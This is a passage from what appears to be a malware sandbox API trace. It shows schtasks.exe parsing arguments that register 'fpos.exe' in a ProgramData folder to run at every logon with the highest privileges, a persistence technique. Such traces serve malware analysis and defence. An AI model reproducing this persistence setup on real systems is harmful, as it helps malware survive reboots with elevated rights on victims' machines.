(dwErrCode=0x490) [0085.964] lstrlenW (lpString="create") returned 6 [0085.964] lstrlenW (lpString="create") returned 6 [0085.964] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.964] lstrlenW (lpString="sc") returned 2 [0085.964] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.964] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|create|") returned 8 [0085.965] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|sc|") returned 4 [0085.965] lstrlenW (lpString="|create|") returned 8 [0085.965] lstrlenW (lpString="|sc|") returned 4 [0085.965] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0085.965] SetLastError (dwErrCode=0x490) [0085.965] lstrlenW (lpString="delete") returned 6 [0085.965] lstrlenW (lpString="delete") returned 6 [0085.965] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.965] lstrlenW (lpString="sc") returned 2 [0085.965] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.965] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|delete|") returned 8 [0085.965] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|sc|") returned 4 [0085.965] lstrlenW (lpString="|delete|") returned 8 [0085.965] lstrlenW (lpString="|sc|") returned 4 [0085.965] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0085.965] SetLastError (dwErrCode=0x490) [0085.965] lstrlenW (lpString="query") returned 5 [0085.965] lstrlenW (lpString="query") returned 5 [0085.965] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.965] lstrlenW (lpString="sc") returned 2 [0085.965] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.965] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|query|") returned 7 [0085.965] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|sc|") returned 4 [0085.966] lstrlenW (lpString="|query|") returned 7 [0085.966] lstrlenW (lpString="|sc|") returned 4 [0085.966] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0085.966] SetLastError (dwErrCode=0x490) [0085.966] lstrlenW (lpString="change") returned 6 [0085.966] lstrlenW (lpString="change") returned 6 [0085.966] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.966] lstrlenW (lpString="sc") returned 2 [0085.966] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.966] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|change|") returned 8 [0085.966] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|sc|") returned 4 [0085.966] lstrlenW (lpString="|change|") returned 8 [0085.966] lstrlenW (lpString="|sc|") returned 4 [0085.966] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0085.966] SetLastError (dwErrCode=0x490) [0085.966] lstrlenW (lpString="run") returned 3 [0085.966] lstrlenW (lpString="run") returned 3 [0085.966] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.966] lstrlenW (lpString="sc") returned 2 [0085.966] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.966] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|run|") returned 5 [0085.966] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|sc|") returned 4 [0085.966] lstrlenW (lpString="|run|") returned 5 [0085.967] lstrlenW (lpString="|sc|") returned 4 [0085.967] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0085.967] SetLastError (dwErrCode=0x490) [0085.967] lstrlenW (lpString="end") returned 3 [0085.967] lstrlenW (lpString="end") returned 3 [0085.967] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.967] lstrlenW (lpString="sc") returned 2 [0085.967] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.967] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|end|") returned 5 [0085.967] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|sc|") returned 4 [0085.967] lstrlenW (lpString="|end|") returned 5 [0085.967] lstrlenW (lpString="|sc|") returned 4 [0085.967] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0085.967] SetLastError (dwErrCode=0x490) [0085.967] lstrlenW (lpString="showsid") returned 7 [0085.967] lstrlenW (lpString="showsid") returned 7 [0085.967] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.967] lstrlenW (lpString="sc") returned 2 [0085.967] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.967] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|showsid|") returned 9 [0085.967] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|sc|") returned 4 [0085.967] lstrlenW (lpString="|showsid|") returned 9 [0085.967] lstrlenW (lpString="|sc|") returned 4 [0085.967] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0085.967] SetLastError (dwErrCode=0x490) [0085.967] SetLastError (dwErrCode=0x490) [0085.967] SetLastError (dwErrCode=0x0) [0085.967] lstrlenW (lpString="/sc") returned 3 [0085.967] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0085.967] SetLastError (dwErrCode=0x490) [0085.967] SetLastError (dwErrCode=0x0) [0085.967] lstrlenW (lpString="/sc") returned 3 [0085.968] GetProcessHeap () returned 0x50000 [0085.968] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6c3d0 [0085.968] GetProcessHeap () returned 0x50000 [0085.968] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cdb0 [0085.968] SetLastError (dwErrCode=0x0) [0085.968] SetLastError (dwErrCode=0x0) [0085.968] lstrlenW (lpString="ONLOGON") returned 7 [0085.968] lstrlenW (lpString="-/") returned 2 [0085.968] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0085.968] SetLastError (dwErrCode=0x490) [0085.968] SetLastError (dwErrCode=0x490) [0085.968] SetLastError (dwErrCode=0x0) [0085.968] lstrlenW (lpString="ONLOGON") returned 7 [0085.968] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0085.968] SetLastError (dwErrCode=0x490) [0085.968] SetLastError (dwErrCode=0x0) [0085.968] lstrlenW (lpString="ONLOGON") returned 7 [0085.968] GetProcessHeap () returned 0x50000 [0085.968] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6c3f0 [0085.968] GetProcessHeap () returned 0x50000 [0085.968] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cde0 [0085.968] SetLastError (dwErrCode=0x0) [0085.968] SetLastError (dwErrCode=0x0) [0085.968] lstrlenW (lpString="/tr") returned 3 [0085.968] lstrlenW (lpString="-/") returned 2 [0085.968] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.968] lstrlenW (lpString="?") returned 1 [0085.968] lstrlenW (lpString="?") returned 1 [0085.968] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.968] lstrlenW (lpString="tr") returned 2 [0085.968] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.969] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|?|") returned 3 [0085.969] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tr|") returned 4 [0085.969] lstrlenW (lpString="|?|") returned 3 [0085.969] lstrlenW (lpString="|tr|") returned 4 [0085.969] SetLastError (dwErrCode=0x490) [0085.969] lstrlenW (lpString="create") returned 6 [0085.969] lstrlenW (lpString="create") returned 6 [0085.969] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.969] lstrlenW (lpString="tr") returned 2 [0085.969] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.969] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|create|") returned 8 [0085.969] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tr|") returned 4 [0085.969] lstrlenW (lpString="|create|") returned 8 [0085.969] lstrlenW (lpString="|tr|") returned 4 [0085.969] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0085.969] SetLastError (dwErrCode=0x490) [0085.969] lstrlenW (lpString="delete") returned 6 [0085.969] lstrlenW (lpString="delete") returned 6 [0085.969] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.969] lstrlenW (lpString="tr") returned 2 [0085.969] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.969] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|delete|") returned 8 [0085.969] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tr|") returned 4 [0085.969] lstrlenW (lpString="|delete|") returned 8 [0085.970] lstrlenW (lpString="|tr|") returned 4 [0085.970] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0085.970] SetLastError (dwErrCode=0x490) [0085.970] lstrlenW (lpString="query") returned 5 [0085.970] lstrlenW (lpString="query") returned 5 [0085.970] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.970] lstrlenW (lpString="tr") returned 2 [0085.970] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.970] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|query|") returned 7 [0085.970] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tr|") returned 4 [0085.970] lstrlenW (lpString="|query|") returned 7 [0085.970] lstrlenW (lpString="|tr|") returned 4 [0085.970] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0085.970] SetLastError (dwErrCode=0x490) [0085.970] lstrlenW (lpString="change") returned 6 [0085.970] lstrlenW (lpString="change") returned 6 [0085.970] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.970] lstrlenW (lpString="tr") returned 2 [0085.970] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.970] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|change|") returned 8 [0085.970] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tr|") returned 4 [0085.970] lstrlenW (lpString="|change|") returned 8 [0085.971] lstrlenW (lpString="|tr|") returned 4 [0085.971] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0085.971] SetLastError (dwErrCode=0x490) [0085.971] lstrlenW (lpString="run") returned 3 [0085.971] lstrlenW (lpString="run") returned 3 [0085.971] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.971] lstrlenW (lpString="tr") returned 2 [0085.971] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.971] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|run|") returned 5 [0085.971] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tr|") returned 4 [0085.971] lstrlenW (lpString="|run|") returned 5 [0085.971] lstrlenW (lpString="|tr|") returned 4 [0085.971] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0085.971] SetLastError (dwErrCode=0x490) [0085.971] lstrlenW (lpString="end") returned 3 [0085.971] lstrlenW (lpString="end") returned 3 [0085.971] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.971] lstrlenW (lpString="tr") returned 2 [0085.971] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.971] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|end|") returned 5 [0085.971] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tr|") returned 4 [0085.971] lstrlenW (lpString="|end|") returned 5 [0085.971] lstrlenW (lpString="|tr|") returned 4 [0085.971] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0085.972] SetLastError (dwErrCode=0x490) [0085.972] lstrlenW (lpString="showsid") returned 7 [0085.972] lstrlenW (lpString="showsid") returned 7 [0085.972] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.972] lstrlenW (lpString="tr") returned 2 [0085.972] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.972] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|showsid|") returned 9 [0085.972] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tr|") returned 4 [0085.972] lstrlenW (lpString="|showsid|") returned 9 [0085.972] lstrlenW (lpString="|tr|") returned 4 [0085.972] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0085.972] SetLastError (dwErrCode=0x490) [0085.972] SetLastError (dwErrCode=0x490) [0085.972] SetLastError (dwErrCode=0x0) [0085.972] lstrlenW (lpString="/tr") returned 3 [0085.972] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0085.972] SetLastError (dwErrCode=0x490) [0085.972] SetLastError (dwErrCode=0x0) [0085.972] lstrlenW (lpString="/tr") returned 3 [0085.972] GetProcessHeap () returned 0x50000 [0085.972] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6c410 [0085.972] GetProcessHeap () returned 0x50000 [0085.972] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce10 [0085.972] SetLastError (dwErrCode=0x0) [0085.972] SetLastError (dwErrCode=0x0) [0085.973] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.973] lstrlenW (lpString="-/") returned 2 [0085.973] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0085.973] SetLastError (dwErrCode=0x490) [0085.973] SetLastError (dwErrCode=0x490) [0085.973] SetLastError (dwErrCode=0x0) [0085.973] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.973] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\fpos.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\fpos.exe'" [0085.973] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.973] GetProcessHeap () returned 0x50000 [0085.973] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6c430 [0085.973] _memicmp (_Buf1=0x6c430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.973] GetProcessHeap () returned 0x50000 [0085.973] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6c450 [0085.973] GetProcessHeap () returned 0x50000 [0085.973] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6d640 [0085.973] _memicmp (_Buf1=0x6d640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.973] GetProcessHeap () returned 0x50000 [0085.973] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x60) returned 0x6de10 [0085.973] SetLastError (dwErrCode=0x7a) [0085.973] SetLastError (dwErrCode=0x0) [0085.973] SetLastError (dwErrCode=0x0) [0085.973] lstrlenW (lpString="'C") returned 2 [0085.974] lstrlenW (lpString="-/") returned 2 [0085.974] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0085.974] SetLastError (dwErrCode=0x490) [0085.974] SetLastError (dwErrCode=0x490) [0085.974] SetLastError (dwErrCode=0x0) [0085.974] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0085.974] GetProcessHeap () returned 0x50000 [0085.974] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x5e) returned 0x6de80 [0085.974] GetProcessHeap () returned 0x50000 [0085.974] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce40 [0085.974] SetLastError (dwErrCode=0x0) [0085.974] SetLastError (dwErrCode=0x0) [0085.974] lstrlenW (lpString="/rl") returned 3 [0085.974] lstrlenW (lpString="-/") returned 2 [0085.974] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.974] lstrlenW (lpString="?") returned 1 [0085.974] lstrlenW (lpString="?") returned 1 [0085.974] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.974] lstrlenW (lpString="rl") returned 2 [0085.974] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.974] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|?|") returned 3 [0085.974] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|rl|") returned 4 [0085.974] lstrlenW (lpString="|?|") returned 3 [0085.974] lstrlenW (lpString="|rl|") returned 4 [0085.974] SetLastError (dwErrCode=0x490) [0085.974] lstrlenW (lpString="create") returned 6 [0085.975] lstrlenW (lpString="create") returned 6 [0085.975] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.975] lstrlenW (lpString="rl") returned 2 [0085.975] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.975] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|create|") returned 8 [0085.975] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|rl|") returned 4 [0085.975] lstrlenW (lpString="|create|") returned 8 [0085.975] lstrlenW (lpString="|rl|") returned 4 [0085.975] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0085.975] SetLastError (dwErrCode=0x490) [0085.975] lstrlenW (lpString="delete") returned 6 [0085.975] lstrlenW (lpString="delete") returned 6 [0085.975] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.975] lstrlenW (lpString="rl") returned 2 [0085.975] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.975] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|delete|") returned 8 [0085.975] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|rl|") returned 4 [0085.975] lstrlenW (lpString="|delete|") returned 8 [0085.975] lstrlenW (lpString="|rl|") returned 4 [0085.975] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0085.975] SetLastError (dwErrCode=0x490) [0085.975] lstrlenW (lpString="query") returned 5 [0085.975] lstrlenW (lpString="query") returned 5 [0085.976] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.976] lstrlenW (lpString="rl") returned 2 [0085.976] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.976] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|query|") returned 7 [0085.976] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|rl|") returned 4 [0085.976] lstrlenW (lpString="|query|") returned 7 [0085.976] lstrlenW (lpString="|rl|") returned 4 [0085.976] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0085.976] SetLastError (dwErrCode=0x490) [0085.976] lstrlenW (lpString="change") returned 6 [0085.976] lstrlenW (lpString="change") returned 6 [0085.976] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.976] lstrlenW (lpString="rl") returned 2 [0085.976] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.976] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|change|") returned 8 [0085.976] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|rl|") returned 4 [0085.976] lstrlenW (lpString="|change|") returned 8 [0085.976] lstrlenW (lpString="|rl|") returned 4 [0085.976] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0085.976] SetLastError (dwErrCode=0x490) [0085.976] lstrlenW (lpString="run") returned 3 [0085.976] lstrlenW (lpString="run") returned 3 [0085.976] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.977] lstrlenW (lpString="rl") returned 2 [0085.977] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.977] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|run|") returned 5 [0085.977] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|rl|") returned 4 [0085.977] lstrlenW (lpString="|run|") returned 5 [0085.977] lstrlenW (lpString="|rl|") returned 4 [0085.977] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0085.977] SetLastError (dwErrCode=0x490) [0085.977] lstrlenW (lpString="end") returned 3 [0085.977] lstrlenW (lpString="end") returned 3 [0085.977] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.977] lstrlenW (lpString="rl") returned 2 [0085.977] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.977] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|end|") returned 5 [0085.977] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|rl|") returned 4 [0085.977] lstrlenW (lpString="|end|") returned 5 [0085.977] lstrlenW (lpString="|rl|") returned 4 [0085.977] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0085.977] SetLastError (dwErrCode=0x490) [0085.977] lstrlenW (lpString="showsid") returned 7 [0085.977] lstrlenW (lpString="showsid") returned 7 [0085.977] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.977] lstrlenW (lpString="rl") returned 2 [0085.977] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.978] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|showsid|") returned 9 [0085.978] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|rl|") returned 4 [0085.978] lstrlenW (lpString="|showsid|") returned 9 [0085.978] lstrlenW (lpString="|rl|") returned 4 [0085.978] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0085.978] SetLastError (dwErrCode=0x490) [0085.978] SetLastError (dwErrCode=0x490) [0085.978] SetLastError (dwErrCode=0x0) [0085.978] lstrlenW (lpString="/rl") returned 3 [0085.978] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0085.978] SetLastError (dwErrCode=0x490) [0085.978] SetLastError (dwErrCode=0x0) [0085.978] lstrlenW (lpString="/rl") returned 3 [0085.978] GetProcessHeap () returned 0x50000 [0085.978] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6def0 [0085.978] GetProcessHeap () returned 0x50000 [0085.978] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce70 [0085.978] SetLastError (dwErrCode=0x0) [0085.978] SetLastError (dwErrCode=0x0) [0085.978] lstrlenW (lpString="HIGHEST") returned 7 [0085.978] lstrlenW (lpString="-/") returned 2 [0085.978] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0085.978] SetLastError (dwErrCode=0x490) [0085.978] SetLastError (dwErrCode=0x490) [0085.978] SetLastError (dwErrCode=0x0) [0085.979] lstrlenW (lpString="HIGHEST") returned 7 [0085.979] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0085.979] SetLastError (dwErrCode=0x490) [0085.979] SetLastError (dwErrCode=0x0) [0085.979] lstrlenW (lpString="HIGHEST") returned 7 [0085.979] GetProcessHeap () returned 0x50000 [0085.979] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6d660 [0085.979] GetProcessHeap () returned 0x50000 [0085.979] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cea0 [0085.979] SetLastError (dwErrCode=0x0) [0085.979] SetLastError (dwErrCode=0x0) [0085.979] lstrlenW (lpString="/f") returned 2 [0085.979] lstrlenW (lpString="-/") returned 2 [0085.979] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.979] lstrlenW (lpString="?") returned 1 [0085.979] lstrlenW (lpString="?") returned 1 [0085.979] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.979] lstrlenW (lpString="f") returned 1 [0085.979] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.979] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|?|") returned 3 [0085.985] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|f|") returned 3 [0085.985] lstrlenW (lpString="|?|") returned 3 [0085.985] lstrlenW (lpString="|f|") returned 3 [0085.985] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0085.985] SetLastError (dwErrCode=0x490) [0085.985] lstrlenW (lpString="create") returned 6 [0085.985] lstrlenW (lpString="create") returned 6 [0085.985] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.986] lstrlenW (lpString="f") returned 1 [0085.986] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.986] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|create|") returned 8 [0085.986] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|f|") returned 3 [0085.986] lstrlenW (lpString="|create|") returned 8 [0085.986] lstrlenW (lpString="|f|") returned 3 [0085.986] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0085.986] SetLastError (dwErrCode=0x490) [0085.986] lstrlenW (lpString="delete") returned 6 [0085.986] lstrlenW (lpString="delete") returned 6 [0085.986] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, 